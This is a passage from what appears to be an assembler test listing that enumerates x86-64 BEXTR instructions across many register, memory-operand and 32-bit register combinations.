bextr rsp, rax, r15
bextr rsp, rax, rsp
bextr rsp, rax, rsi
bextr rsp, rax, rbp
bextr rsp, rbx, rax
bextr rsp, rbx, rbx
bextr rsp, rbx, rcx
bextr rsp, rbx, rdx
bextr rsp, rbx, rdi
bextr rsp, rbx, r8
bextr rsp, rbx, r9
bextr rsp, rbx, r10
bextr rsp, rbx, r11
bextr rsp, rbx, r12
bextr rsp, rbx, r13
bextr rsp, rbx, r14
bextr rsp, rbx, r15
bextr rsp, rbx, rsp
bextr rsp, rbx, rsi
bextr rsp, rbx, rbp
bextr rsp, rcx, rax
bextr rsp, rcx, rbx
bextr rsp, rcx, rcx
bextr rsp, rcx, rdx
bextr rsp, rcx, rdi
bextr rsp, rcx, r8
bextr rsp, rcx, r9
bextr rsp, rcx, r10
bextr rsp, rcx, r11
bextr rsp, rcx, r12
bextr rsp, rcx, r13
bextr rsp, rcx, r14
bextr rsp, rcx, r15
bextr rsp, rcx, rsp
bextr rsp, rcx, rsi
bextr rsp, rcx, rbp
bextr rsp, rdx, rax
bextr rsp, rdx, rbx
bextr rsp, rdx, rcx
bextr rsp, rdx, rdx
bextr rsp, rdx, rdi
bextr rsp, rdx, r8
bextr rsp, rdx, r9
bextr rsp, rdx, r10
bextr rsp, rdx, r11
bextr rsp, rdx, r12
bextr rsp, rdx, r13
bextr rsp, rdx, r14
bextr rsp, rdx, r15
bextr rsp, rdx, rsp
bextr rsp, rdx, rsi
bextr rsp, rdx, rbp
bextr rsp, rdi, rax
bextr rsp, rdi, rbx
bextr rsp, rdi, rcx
bextr rsp, rdi, rdx
bextr rsp, rdi, rdi
bextr rsp, rdi, r8
bextr rsp, rdi, r9
bextr rsp, rdi, r10
bextr rsp, rdi, r11
bextr rsp, rdi, r12
bextr rsp, rdi, r13
bextr rsp, rdi, r14
bextr rsp, rdi, r15
bextr rsp, rdi, rsp
bextr rsp, rdi, rsi
bextr rsp, rdi, rbp
bextr rsp, r8, rax
bextr rsp, r8, rbx
bextr rsp, r8, rcx
bextr rsp, r8, rdx
bextr rsp, r8, rdi
bextr rsp, r8, r8
bextr rsp, r8, r9
bextr rsp, r8, r10
bextr rsp, r8, r11
bextr rsp, r8, r12
bextr rsp, r8, r13
bextr rsp, r8, r14
bextr rsp, r8, r15
bextr rsp, r8, rsp
bextr rsp, r8, rsi
bextr rsp, r8, rbp
bextr rsp, r9, rax
bextr rsp, r9, rbx
bextr rsp, r9, rcx
bextr rsp, r9, rdx
bextr rsp, r9, rdi
bextr rsp, r9, r8
bextr rsp, r9, r9
bextr rsp, r9, r10
bextr rsp, r9, r11
bextr rsp, r9, r12
bextr rsp, r9, r13
bextr rsp, r9, r14
bextr rsp, r9, r15
bextr rsp, r9, rsp
bextr rsp, r9, rsi
bextr rsp, r9, rbp
bextr rsp, r10, rax
bextr rsp, r10, rbx
bextr rsp, r10, rcx
bextr rsp, r10, rdx
bextr rsp, r10, rdi
bextr rsp, r10, r8
bextr rsp, r10, r9
bextr rsp, r10, r10
bextr rsp, r10, r11
bextr rsp, r10, r12
bextr rsp, r10, r13
bextr rsp, r10, r14
bextr rsp, r10, r15
bextr rsp, r10, rsp
bextr rsp, r10, rsi
bextr rsp, r10, rbp
bextr rsp, r11, rax
bextr rsp, r11, rbx
bextr rsp, r11, rcx
bextr rsp, r11, rdx
bextr rsp, r11, rdi
bextr rsp, r11, r8
bextr rsp, r11, r9
bextr rsp, r11, r10
bextr rsp, r11, r11
bextr rsp, r11, r12
bextr rsp, r11, r13
bextr rsp, r11, r14
bextr rsp, r11, r15
bextr rsp, r11, rsp
bextr rsp, r11, rsi
bextr rsp, r11, rbp
bextr rsp, r12, rax
bextr rsp, r12, rbx
bextr rsp, r12, rcx
bextr rsp, r12, rdx
bextr rsp, r12, rdi
bextr rsp, r12, r8
bextr rsp, r12, r9
bextr rsp, r12, r10
bextr rsp, r12, r11
bextr rsp, r12, r12
bextr rsp, r12, r13
bextr rsp, r12, r14
bextr rsp, r12, r15
bextr rsp, r12, rsp
bextr rsp, r12, rsi
bextr rsp, r12, rbp
bextr rsp, r13, rax
bextr rsp, r13, rbx
bextr rsp, r13, rcx
bextr rsp, r13, rdx
bextr rsp, r13, rdi
bextr rsp, r13, r8
bextr rsp, r13, r9
bextr rsp, r13, r10
bextr rsp, r13, r11
bextr rsp, r13, r12
bextr rsp, r13, r13
bextr rsp, r13, r14
bextr rsp, r13, r15
bextr rsp, r13, rsp
bextr rsp, r13, rsi
bextr rsp, r13, rbp
bextr rsp, r14, rax
bextr rsp, r14, rbx
bextr rsp, r14, rcx
bextr rsp, r14, rdx
bextr rsp, r14, rdi
bextr rsp, r14, r8
bextr rsp, r14, r9
bextr rsp, r14, r10
bextr rsp, r14, r11
bextr rsp, r14, r12
bextr rsp, r14, r13
bextr rsp, r14, r14
bextr rsp, r14, r15
bextr rsp, r14, rsp
bextr rsp, r14, rsi
bextr rsp, r14, rbp
bextr rsp, r15, rax
bextr rsp, r15, rbx
bextr rsp, r15, rcx
bextr rsp, r15, rdx
bextr rsp, r15, rdi
bextr rsp, r15, r8
bextr rsp, r15, r9
bextr rsp, r15, r10
bextr rsp, r15, r11
bextr rsp, r15, r12
bextr rsp, r15, r13
bextr rsp, r15, r14
bextr rsp, r15, r15
bextr rsp, r15, rsp
bextr rsp, r15, rsi
bextr rsp, r15, rbp
bextr rsp, rsp, rax
bextr rsp, rsp, rbx
bextr rsp, rsp, rcx
bextr rsp, rsp, rdx
bextr rsp, rsp, rdi
bextr rsp, rsp, r8
bextr rsp, rsp, r9
bextr rsp, rsp, r10
bextr rsp, rsp, r11
bextr rsp, rsp, r12
bextr rsp, rsp, r13
bextr rsp, rsp, r14
bextr rsp, rsp, r15
bextr rsp, rsp, rsp
bextr rsp, rsp, rsi
bextr rsp, rsp, rbp
bextr rsp, rsi, rax
bextr rsp, rsi, rbx
bextr rsp, rsi, rcx
bextr rsp, rsi, rdx
bextr rsp, rsi, rdi
bextr rsp, rsi, r8
bextr rsp, rsi, r9
bextr rsp, rsi, r10
bextr rsp, rsi, r11
bextr rsp, rsi, r12
bextr rsp, rsi, r13
bextr rsp, rsi, r14
bextr rsp, rsi, r15
bextr rsp, rsi, rsp
bextr rsp, rsi, rsi
bextr rsp, rsi, rbp
bextr rsp, rbp, rax
bextr rsp, rbp, rbx
bextr rsp, rbp, rcx
bextr rsp, rbp, rdx
bextr rsp, rbp, rdi
bextr rsp, rbp, r8
bextr rsp, rbp, r9
bextr rsp, rbp, r10
bextr rsp, rbp, r11
bextr rsp, rbp, r12
bextr rsp, rbp, r13
bextr rsp, rbp, r14
bextr rsp, rbp, r15
bextr rsp, rbp, rsp
bextr rsp, rbp, rsi
bextr rsp, rbp, rbp
bextr rsi, rax, rax
bextr rsi, rax, rbx
bextr rsi, rax, rcx
bextr rsi, rax, rdx
bextr rsi, rax, rdi
bextr rsi, rax, r8
bextr rsi, rax, r9
bextr rsi, rax, r10
bextr rsi, rax, r11
bextr rsi, rax, r12
bextr rsi, rax, r13
bextr rsi, rax, r14
bextr rsi, rax, r15
bextr rsi, rax, rsp
bextr rsi, rax, rsi
bextr rsi, rax, rbp
bextr rsi, rbx, rax
bextr rsi, rbx, rbx
bextr rsi, rbx, rcx
bextr rsi, rbx, rdx
bextr rsi, rbx, rdi
bextr rsi, rbx, r8
bextr rsi, rbx, r9
bextr rsi, rbx, r10
bextr rsi, rbx, r11
bextr rsi, rbx, r12
bextr rsi, rbx, r13
bextr rsi, rbx, r14
bextr rsi, rbx, r15
bextr rsi, rbx, rsp
bextr rsi, rbx, rsi
bextr rsi, rbx, rbp
bextr rsi, rcx, rax
bextr rsi, rcx, rbx
bextr rsi, rcx, rcx
bextr rsi, rcx, rdx
bextr rsi, rcx, rdi
bextr rsi, rcx, r8
bextr rsi, rcx, r9
bextr rsi, rcx, r10
bextr rsi, rcx, r11
bextr rsi, rcx, r12
bextr rsi, rcx, r13
bextr rsi, rcx, r14
bextr rsi, rcx, r15
bextr rsi, rcx, rsp
bextr rsi, rcx, rsi
bextr rsi, rcx, rbp
bextr rsi, rdx, rax
bextr rsi, rdx, rbx
bextr rsi, rdx, rcx
bextr rsi, rdx, rdx
bextr rsi, rdx, rdi
bextr rsi, rdx, r8
bextr rsi, rdx, r9
bextr rsi, rdx, r10
bextr rsi, rdx, r11
bextr rsi, rdx, r12
bextr rsi, rdx, r13
bextr rsi, rdx, r14
bextr rsi, rdx, r15
bextr rsi, rdx, rsp
bextr rsi, rdx, rsi
bextr rsi, rdx, rbp
bextr rsi, rdi, rax
bextr rsi, rdi, rbx
bextr rsi, rdi, rcx
bextr rsi, rdi, rdx
bextr rsi, rdi, rdi
bextr rsi, rdi, r8
bextr rsi, rdi, r9
bextr rsi, rdi, r10
bextr rsi, rdi, r11
bextr rsi, rdi, r12
bextr rsi, rdi, r13
bextr rsi, rdi, r14
bextr rsi, rdi, r15
bextr rsi, rdi, rsp
bextr rsi, rdi, rsi
bextr rsi, rdi, rbp
bextr rsi, r8, rax
bextr rsi, r8, rbx
bextr rsi, r8, rcx
bextr rsi, r8, rdx
bextr rsi, r8, rdi
bextr rsi, r8, r8
bextr rsi, r8, r9
bextr rsi, r8, r10
bextr rsi, r8, r11
bextr rsi, r8, r12
bextr rsi, r8, r13
bextr rsi, r8, r14
bextr rsi, r8, r15
bextr rsi, r8, rsp
bextr rsi, r8, rsi
bextr rsi, r8, rbp
bextr rsi, r9, rax
bextr rsi, r9, rbx
bextr rsi, r9, rcx
bextr rsi, r9, rdx
bextr rsi, r9, rdi
bextr rsi, r9, r8
bextr rsi, r9, r9
bextr rsi, r9, r10
bextr rsi, r9, r11
bextr rsi, r9, r12
bextr rsi, r9, r13
bextr rsi, r9, r14
bextr rsi, r9, r15
bextr rsi, r9, rsp
bextr rsi, r9, rsi
bextr rsi, r9, rbp
bextr rsi, r10, rax
bextr rsi, r10, rbx
bextr rsi, r10, rcx
bextr rsi, r10, rdx
bextr rsi, r10, rdi
bextr rsi, r10, r8
bextr rsi, r10, r9
bextr rsi, r10, r10
bextr rsi, r10, r11
bextr rsi, r10, r12
bextr rsi, r10, r13
bextr rsi, r10, r14
bextr rsi, r10, r15
bextr rsi, r10, rsp
bextr rsi, r10, rsi
bextr rsi, r10, rbp
bextr rsi, r11, rax
bextr rsi, r11, rbx
bextr rsi, r11, rcx
bextr rsi, r11, rdx
bextr rsi, r11, rdi
bextr rsi, r11, r8
bextr rsi, r11, r9
bextr rsi, r11, r10
bextr rsi, r11, r11
bextr rsi, r11, r12
bextr rsi, r11, r13
bextr rsi, r11, r14
bextr rsi, r11, r15
bextr rsi, r11, rsp
bextr rsi, r11, rsi
bextr rsi, r11, rbp
bextr rsi, r12, rax
bextr rsi, r12, rbx
bextr rsi, r12, rcx
bextr rsi, r12, rdx
bextr rsi, r12, rdi
bextr rsi, r12, r8
bextr rsi, r12, r9
bextr rsi, r12, r10
bextr rsi, r12, r11
bextr rsi, r12, r12
bextr rsi, r12, r13
bextr rsi, r12, r14
bextr rsi, r12, r15
bextr rsi, r12, rsp
bextr rsi, r12, rsi
bextr rsi, r12, rbp
bextr rsi, r13, rax
bextr rsi, r13, rbx
bextr rsi, r13, rcx
bextr rsi, r13, rdx
bextr rsi, r13, rdi
bextr rsi, r13, r8
bextr rsi, r13, r9
bextr rsi, r13, r10
bextr rsi, r13, r11
bextr rsi, r13, r12
bextr rsi, r13, r13
bextr rsi, r13, r14
bextr rsi, r13, r15
bextr rsi, r13, rsp
bextr rsi, r13, rsi
bextr rsi, r13, rbp
bextr rsi, r14, rax
bextr rsi, r14, rbx
bextr rsi, r14, rcx
bextr rsi, r14, rdx
bextr rsi, r14, rdi
bextr rsi, r14, r8
bextr rsi, r14, r9
bextr rsi, r14, r10
bextr rsi, r14, r11
bextr rsi, r14, r12
bextr rsi, r14, r13
bextr rsi, r14, r14
bextr rsi, r14, r15
bextr rsi, r14, rsp
bextr rsi, r14, rsi
bextr rsi, r14, rbp
bextr rsi, r15, rax
bextr rsi, r15, rbx
bextr rsi, r15, rcx
bextr rsi, r15, rdx
bextr rsi, r15, rdi
bextr rsi, r15, r8
bextr rsi, r15, r9
bextr rsi, r15, r10
bextr rsi, r15, r11
bextr rsi, r15, r12
bextr rsi, r15, r13
bextr rsi, r15, r14
bextr rsi, r15, r15
bextr rsi, r15, rsp
bextr rsi, r15, rsi
bextr rsi, r15, rbp
bextr rsi, rsp, rax
bextr rsi, rsp, rbx
bextr rsi, rsp, rcx
bextr rsi, rsp, rdx
bextr rsi, rsp, rdi
bextr rsi, rsp, r8
bextr rsi, rsp, r9
bextr rsi, rsp, r10
bextr rsi, rsp, r11
bextr rsi, rsp, r12
bextr rsi, rsp, r13
bextr rsi, rsp, r14
bextr rsi, rsp, r15
bextr rsi, rsp, rsp
bextr rsi, rsp, rsi
bextr rsi, rsp, rbp
bextr rsi, rsi, rax
bextr rsi, rsi, rbx
bextr rsi, rsi, rcx
bextr rsi, rsi, rdx
bextr rsi, rsi, rdi
bextr rsi, rsi, r8
bextr rsi, rsi, r9
bextr rsi, rsi, r10
bextr rsi, rsi, r11
bextr rsi, rsi, r12
bextr rsi, rsi, r13
bextr rsi, rsi, r14
bextr rsi, rsi, r15
bextr rsi, rsi, rsp
bextr rsi, rsi, rsi
bextr rsi, rsi, rbp
bextr rsi, rbp, rax
bextr rsi, rbp, rbx
bextr rsi, rbp, rcx
bextr rsi, rbp, rdx
bextr rsi, rbp, rdi
bextr rsi, rbp, r8
bextr rsi, rbp, r9
bextr rsi, rbp, r10
bextr rsi, rbp, r11
bextr rsi, rbp, r12
bextr rsi, rbp, r13
bextr rsi, rbp, r14
bextr rsi, rbp, r15
bextr rsi, rbp, rsp
bextr rsi, rbp, rsi
bextr rsi, rbp, rbp
bextr rbp, rax, rax
bextr rbp, rax, rbx
bextr rbp, rax, rcx
bextr rbp, rax, rdx
bextr rbp, rax, rdi
bextr rbp, rax, r8
bextr rbp, rax, r9
bextr rbp, rax, r10
bextr rbp, rax, r11
bextr rbp, rax, r12
bextr rbp, rax, r13
bextr rbp, rax, r14
bextr rbp, rax, r15
bextr rbp, rax, rsp
bextr rbp, rax, rsi
bextr rbp, rax, rbp
bextr rbp, rbx, rax
bextr rbp, rbx, rbx
bextr rbp, rbx, rcx
bextr rbp, rbx, rdx
bextr rbp, rbx, rdi
bextr rbp, rbx, r8
bextr rbp, rbx, r9
bextr rbp, rbx, r10
bextr rbp, rbx, r11
bextr rbp, rbx, r12
bextr rbp, rbx, r13
bextr rbp, rbx, r14
bextr rbp, rbx, r15
bextr rbp, rbx, rsp
bextr rbp, rbx, rsi
bextr rbp, rbx, rbp
bextr rbp, rcx, rax
bextr rbp, rcx, rbx
bextr rbp, rcx, rcx
bextr rbp, rcx, rdx
bextr rbp, rcx, rdi
bextr rbp, rcx, r8
bextr rbp, rcx, r9
bextr rbp, rcx, r10
bextr rbp, rcx, r11
bextr rbp, rcx, r12
bextr rbp, rcx, r13
bextr rbp, rcx, r14
bextr rbp, rcx, r15
bextr rbp, rcx, rsp
bextr rbp, rcx, rsi
bextr rbp, rcx, rbp
bextr rbp, rdx, rax
bextr rbp, rdx, rbx
bextr rbp, rdx, rcx
bextr rbp, rdx, rdx
bextr rbp, rdx, rdi
bextr rbp, rdx, r8
bextr rbp, rdx, r9
bextr rbp, rdx, r10
bextr rbp, rdx, r11
bextr rbp, rdx, r12
bextr rbp, rdx, r13
bextr rbp, rdx, r14
bextr rbp, rdx, r15
bextr rbp, rdx, rsp
bextr rbp, rdx, rsi
bextr rbp, rdx, rbp
bextr rbp, rdi, rax
bextr rbp, rdi, rbx
bextr rbp, rdi, rcx
bextr rbp, rdi, rdx
bextr rbp, rdi, rdi
bextr rbp, rdi, r8
bextr rbp, rdi, r9
bextr rbp, rdi, r10
bextr rbp, rdi, r11
bextr rbp, rdi, r12
bextr rbp, rdi, r13
bextr rbp, rdi, r14
bextr rbp, rdi, r15
bextr rbp, rdi, rsp
bextr rbp, rdi, rsi
bextr rbp, rdi, rbp
bextr rbp, r8, rax
bextr rbp, r8, rbx
bextr rbp, r8, rcx
bextr rbp, r8, rdx
bextr rbp, r8, rdi
bextr rbp, r8, r8
bextr rbp, r8, r9
bextr rbp, r8, r10
bextr rbp, r8, r11
bextr rbp, r8, r12
bextr rbp, r8, r13
bextr rbp, r8, r14
bextr rbp, r8, r15
bextr rbp, r8, rsp
bextr rbp, r8, rsi
bextr rbp, r8, rbp
bextr rbp, r9, rax
bextr rbp, r9, rbx
bextr rbp, r9, rcx
bextr rbp, r9, rdx
bextr rbp, r9, rdi
bextr rbp, r9, r8
bextr rbp, r9, r9
bextr rbp, r9, r10
bextr rbp, r9, r11
bextr rbp, r9, r12
bextr rbp, r9, r13
bextr rbp, r9, r14
bextr rbp, r9, r15
bextr rbp, r9, rsp
bextr rbp, r9, rsi
bextr rbp, r9, rbp
bextr rbp, r10, rax
bextr rbp, r10, rbx
bextr rbp, r10, rcx
bextr rbp, r10, rdx
bextr rbp, r10, rdi
bextr rbp, r10, r8
bextr rbp, r10, r9
bextr rbp, r10, r10
bextr rbp, r10, r11
bextr rbp, r10, r12
bextr rbp, r10, r13
bextr rbp, r10, r14
bextr rbp, r10, r15
bextr rbp, r10, rsp
bextr rbp, r10, rsi
bextr rbp, r10, rbp
bextr rbp, r11, rax
bextr rbp, r11, rbx
bextr rbp, r11, rcx
bextr rbp, r11, rdx
bextr rbp, r11, rdi
bextr rbp, r11, r8
bextr rbp, r11, r9
bextr rbp, r11, r10
bextr rbp, r11, r11
bextr rbp, r11, r12
bextr rbp, r11, r13
bextr rbp, r11, r14
bextr rbp, r11, r15
bextr rbp, r11, rsp
bextr rbp, r11, rsi
bextr rbp, r11, rbp
bextr rbp, r12, rax
bextr rbp, r12, rbx
bextr rbp, r12, rcx
bextr rbp, r12, rdx
bextr rbp, r12, rdi
bextr rbp, r12, r8
bextr rbp, r12, r9
bextr rbp, r12, r10
bextr rbp, r12, r11
bextr rbp, r12, r12
bextr rbp, r12, r13
bextr rbp, r12, r14
bextr rbp, r12, r15
bextr rbp, r12, rsp
bextr rbp, r12, rsi
bextr rbp, r12, rbp
bextr rbp, r13, rax
bextr rbp, r13, rbx
bextr rbp, r13, rcx
bextr rbp, r13, rdx
bextr rbp, r13, rdi
bextr rbp, r13, r8
bextr rbp, r13, r9
bextr rbp, r13, r10
bextr rbp, r13, r11
bextr rbp, r13, r12
bextr rbp, r13, r13
bextr rbp, r13, r14
bextr rbp, r13, r15
bextr rbp, r13, rsp
bextr rbp, r13, rsi
bextr rbp, r13, rbp
bextr rbp, r14, rax
bextr rbp, r14, rbx
bextr rbp, r14, rcx
bextr rbp, r14, rdx
bextr rbp, r14, rdi
bextr rbp, r14, r8
bextr rbp, r14, r9
bextr rbp, r14, r10
bextr rbp, r14, r11
bextr rbp, r14, r12
bextr rbp, r14, r13
bextr rbp, r14, r14
bextr rbp, r14, r15
bextr rbp, r14, rsp
bextr rbp, r14, rsi
bextr rbp, r14, rbp
bextr rbp, r15, rax
bextr rbp, r15, rbx
bextr rbp, r15, rcx
bextr rbp, r15, rdx
bextr rbp, r15, rdi
bextr rbp, r15, r8
bextr rbp, r15, r9
bextr rbp, r15, r10
bextr rbp, r15, r11
bextr rbp, r15, r12
bextr rbp, r15, r13
bextr rbp, r15, r14
bextr rbp, r15, r15
bextr rbp, r15, rsp
bextr rbp, r15, rsi
bextr rbp, r15, rbp
bextr rbp, rsp, rax
bextr rbp, rsp, rbx
bextr rbp, rsp, rcx
bextr rbp, rsp, rdx
bextr rbp, rsp, rdi
bextr rbp, rsp, r8
bextr rbp, rsp, r9
bextr rbp, rsp, r10
bextr rbp, rsp, r11
bextr rbp, rsp, r12
bextr rbp, rsp, r13
bextr rbp, rsp, r14
bextr rbp, rsp, r15
bextr rbp, rsp, rsp
bextr rbp, rsp, rsi
bextr rbp, rsp, rbp
bextr rbp, rsi, rax
bextr rbp, rsi, rbx
bextr rbp, rsi, rcx
bextr rbp, rsi, rdx
bextr rbp, rsi, rdi
bextr rbp, rsi, r8
bextr rbp, rsi, r9
bextr rbp, rsi, r10
bextr rbp, rsi, r11
bextr rbp, rsi, r12
bextr rbp, rsi, r13
bextr rbp, rsi, r14
bextr rbp, rsi, r15
bextr rbp, rsi, rsp
bextr rbp, rsi, rsi
bextr rbp, rsi, rbp
bextr rbp, rbp, rax
bextr rbp, rbp, rbx
bextr rbp, rbp, rcx
bextr rbp, rbp, rdx
bextr rbp, rbp, rdi
bextr rbp, rbp, r8
bextr rbp, rbp, r9
bextr rbp, rbp, r10
bextr rbp, rbp, r11
bextr rbp, rbp, r12
bextr rbp, rbp, r13
bextr rbp, rbp, r14
bextr rbp, rbp, r15
bextr rbp, rbp, rsp
bextr rbp, rbp, rsi
bextr rbp, rbp, rbp
bextr rax, [rsi+ r11 + 0x0], r8
bextr rax, [rsi+ r15 + 0x1], r9
bextr rax, [rsi+ r8 + 0x7f], r10
bextr rax, [rsi+ rbp + 0x80], r11
bextr rax, [rsi+ rax + 0xfff], r12
bextr rax, [rsi], r13
bextr rax, [rsi], r14
bextr rax, [rsi], r15
bextr rax, [rsi], rsp
bextr rax, [rsi], rsi
bextr rax, [rsi], rbp
bextr rax, [rbp], rax
bextr rax, [rbp], rbx
bextr rax, [rbp], rcx
bextr rax, [rbp], rdx
bextr rax, [rbp], rdi
bextr rax, [rbp], r8
bextr rax, [rbp], r9
bextr rax, [rbp], r10
bextr rax, [rbp], r11
bextr rax, [rbp], r12
bextr rax, [rbp], r13
bextr rax, [rbp], r14
bextr rax, [rbp], r15
bextr rax, [rbp], rsp
bextr rax, [rbp], rsi
bextr rax, [rbp], rbp
bextr rbx, [rax], rax
bextr rbx, [rax], rbx
bextr rbx, [rax], rcx
bextr rbx, [rax], rdx
bextr rbx, [rax], rdi
bextr rbx, [rax], r8
bextr rbx, [rax], r9
bextr rbx, [rax], r10
bextr rbx, [rax], r11
bextr rbx, [rax], r12
bextr rbx, [rax], r13
bextr rbx, [rax], r14
bextr rbx, [rax], r15
bextr rbx, [rax], rsp
bextr rbx, [rax], rsi
bextr rbx, [rax], rbp
bextr rbx, [rbx], rax
bextr rbx, [rbx], rbx
bextr rbx, [rbx], rcx
bextr rbx, [rbx], rdx
bextr rbx, [rbx], rdi
bextr rbx, [rbx], r8
bextr rbx, [rbx], r9
bextr rbx, [rbx], r10
bextr rbx, [rbx], r11
bextr rbx, [rbx], r12
bextr rbx, [rbx], r13
bextr rbx, [rbx], r14
bextr rbx, [rbx], r15
bextr rbx, [rbx], rsp
bextr rbx, [rbx], rsi
bextr rbx, [rbx], rbp
bextr rbx, [rcx], rax
bextr rbx, [rcx], rbx
bextr rbx, [rcx], rcx
bextr rbx, [rcx], rdx
bextr rbx, [rcx], rdi
bextr rbx, [rcx], r8
bextr rbx, [rcx], r9
bextr rbx, [rcx], r10
bextr rbx, [rcx], r11
bextr rbx, [rcx], r12
bextr rbx, [rcx], r13
bextr rbx, [rcx], r14
bextr rbx, [rcx], r15
bextr rbx, [r10], rax
bextr rbx, [r10], rbx
bextr rbx, [r10], rcx
bextr rbx, [r10], rdx
bextr rbx, [r10], rdi
bextr rbx, [r10], r8
bextr rbx, [r10], r9
bextr rbx, [r10], r10
bextr rbx, [r10], r11
bextr rbx, [r10], r12
bextr rbx, [r10], r13
bextr rbx, [r10], r14
bextr rbx, [r10], r15
bextr rbx, [r10], rsp
bextr rbx, [r10], rsi
bextr rbx, [r10], rbp
bextr rbx, [r11], rax
bextr rbx, [r11], rbx
bextr rbx, [r11], rcx
bextr rbx, [r11], rdx
bextr rbx, [r11], rdi
bextr rbx, [r11], r8
bextr rbx, [r11], r9
bextr rbx, [r11], r10
bextr rbx, [r11], r11
bextr rbx, [r11], r12
bextr rbx, [r11], r13
bextr rbx, [r11], r14
bextr rbx, [r11], r15
bextr rbx, [r11], rsp
bextr rbx, [r11], rsi
bextr rbx, [r11], rbp
bextr rbx, [r12], rax
bextr rbx, [r12], rbx
bextr rbx, [r12], rcx
bextr rbx, [r12], rdx
bextr rbx, [r12], rdi
bextr rbx, [r12], r8
bextr rbx, [r12], r9
bextr rbx, [r12], r10
bextr rbx, [r12], r11
bextr rbx, [r12], r12
bextr rbx, [r12], r13
bextr rbx, [r12], r14
bextr rbx, [r12], r15
bextr rbx, [r12], rsp
bextr rbx, [r12], rsi
bextr rbx, [r12], rbp
bextr rbx, [r13], rax
bextr rbx, [r13], rbx
bextr rbx, [r13], rcx
bextr rbx, [r13], rdx
bextr rbx, [r13], rdi
bextr rbx, [r13], r8
bextr rbx, [r13], r9
bextr rbx, [r13], r10
bextr rbx, [r13], r11
bextr rbx, [r13], r12
bextr rbx, [r13], r13
bextr rbx, [r13], r14
bextr rbx, [r13], r15
bextr rbx, [r13], rsp
bextr rbx, [r13], rsi
bextr rbx, [r13], rbp
bextr rbx, [r14], rax
bextr rbx, [r14], rbx
bextr rbx, [r14], rcx
bextr rbx, [r14], rdx
bextr rbx, [r14], rdi
bextr rbx, [r14], r8
bextr rbx, [r14], r9
bextr rbx, [r14], r10
bextr rbx, [r14], r11
bextr rbx, [r14], r12
bextr rbx, [r14], r13
bextr rbx, [r14], r14
bextr rbx, [r14], r15
bextr rbx, [r14], rsp
bextr rbx, [r14], rsi
bextr rbx, [r14], rbp
bextr rbx, [r15], rax
bextr rbx, [r15], rbx
bextr rbx, [r15], rcx
bextr rbx, [r15], rdx
bextr rbx, [r15], rdi
bextr rbx, [r15], r8
bextr rbx, [r15], r9
bextr rbx, [r15], r10
bextr r13, [rbp], r12
bextr r13, [rbp], r13
bextr r13, [rbp], r14
bextr r13, [rbp], r15
bextr r13, [rbp], rsp
bextr r13, [rbp], rsi
bextr r13, [rbp], rbp
bextr r14, [rax], rax
bextr r14, [rax], rbx
bextr r14, [rax], rcx
bextr r14, [rax], rdx
bextr r14, [rax], rdi
bextr r14, [rax], r8
bextr r14, [rax], r9
bextr r14, [rax], r10
bextr r14, [rax], r11
bextr r14, [rax], r12
bextr r14, [rax], r13
bextr r14, [rax], r14
bextr r14, [rax], r15
bextr r14, [rax], rsp
bextr r14, [rax], rsi
bextr r14, [rax], rbp
bextr r14, [rbx], rax
bextr r14, [rbx], rbx
bextr r14, [rbx], rcx
bextr r14, [rbx], rdx
bextr r14, [rbx], rdi
bextr r14, [rbx], r8
bextr r14, [rbx], r9
bextr r14, [rbx], r10
bextr r14, [rbx], r11
bextr r14, [rbx], r12
bextr r14, [rbx], r13
bextr r14, [rbx], r14
bextr r14, [rbx], r15
bextr r14, [rbx], rsp
bextr r14, [rbx], rsi
bextr r14, [rbx], rbp
bextr r14, [rcx], rax
bextr r14, [rcx], rbx
bextr r14, [rcx], rcx
bextr r14, [rcx], rdx
bextr r14, [rcx], rdi
bextr r14, [rcx], r8
bextr r14, [rcx], r9
bextr r14, [rcx], r10
bextr r15, [rbp], r13
bextr r15, [rbp], r14
bextr r15, [rbp], r15
bextr r15, [rbp], rsp
bextr r15, [rbp], rsi
bextr r15, [rbp], rbp
bextr rsp, [rax], rax
bextr rsp, [rax], rbx
bextr rsp, [rcx], rax
bextr rsp, [rcx], rbx
bextr rsp, [rcx], rcx
bextr rsp, [rcx], rdx
bextr rsp, [rcx], rdi
bextr rsp, [rcx], r8
bextr rsp, [rcx], r9
bextr rsp, [rcx], r10
bextr rsp, [rcx], r11
bextr rsp, [rcx], r12
bextr rsp, [rcx], r13
bextr rsp, [rcx], r14
bextr rsp, [rbp], rsp
bextr rsp, [rbp], rsi
bextr rsp, [rbp], rbp
bextr rsi, [rax], rax
bextr rsi, [rax], rbx
bextr rsi, [rax], rcx
bextr rsi, [rax], rdx
bextr rsi, [rax], rdi
bextr rsi, [rax], r8
bextr rsi, [rax], r9
bextr rbp, [r8], rdi
bextr rbp, [r8], r8
bextr rbp, [r8], r9
bextr rbp, [r8], r10
bextr rbp, [r8], r11
bextr rbp, [r8], r12
bextr rbp, [r8], r13
bextr rbp, [rsi], r13
bextr rbp, [rsi], r14
bextr rbp, [rsi], r15
bextr rbp, [rsi], rsp
bextr rbp, [rsi], rsi
bextr rbp, [rsi], rbp
bextr rbp, [rbp], rax
bextr rbp, [rbp], rbx
bextr rbp, [rbp], rcx
bextr rbp, [rbp], rdx
bextr rbp, [rbp], rdi
bextr ebp, [ebp], edi
bextr eax, eax, eax
bextr eax, eax, ebx
bextr eax, eax, ecx
bextr eax, eax, edx
bextr eax, eax, edi
bextr eax, eax, r8d
bextr eax, eax, r9d
bextr eax, eax, r10d
bextr eax, eax, r11d
bextr eax, eax, r12d
bextr eax, eax, r13d
bextr eax, eax, r14d
bextr eax, eax, r15d
bextr eax, eax, esp
bextr eax, eax, esi
bextr eax, eax, ebp
bextr eax, ebx, eax
bextr eax, ebx, ebx
bextr eax, ebx, ecx
bextr eax, ebx, edx
bextr eax, ebx, edi
bextr eax, ebx, r8d
bextr eax, ebx, r9d
bextr eax, ebx, r10d
bextr eax, ebx, r11d
bextr eax, ebx, r12d
bextr eax, ebx, r13d
bextr eax, ebx, r14d
bextr eax, ebx, r15d
bextr eax, ebx, esp
bextr eax, ebx, esi
bextr eax, ebx, ebp
bextr eax, ecx, eax
bextr eax, ecx, ebx
bextr eax, ecx, ecx
bextr eax, ecx, edx
bextr eax, ecx, edi
bextr eax, ecx, r8d
bextr eax, ecx, r9d
bextr eax, ecx, r10d
bextr eax, ecx, r11d
bextr eax, ecx, r12d
bextr eax, ecx, r13d
bextr eax, ecx, r14d
bextr eax, ecx, r15d
bextr eax, ecx, esp
bextr eax, ecx, esi
bextr eax, ecx, ebp
bextr eax, edx, eax
bextr eax, edx, ebx
bextr eax, edx, ecx
bextr eax, edx, edx
bextr eax, edx, edi
bextr eax, edx, r8d
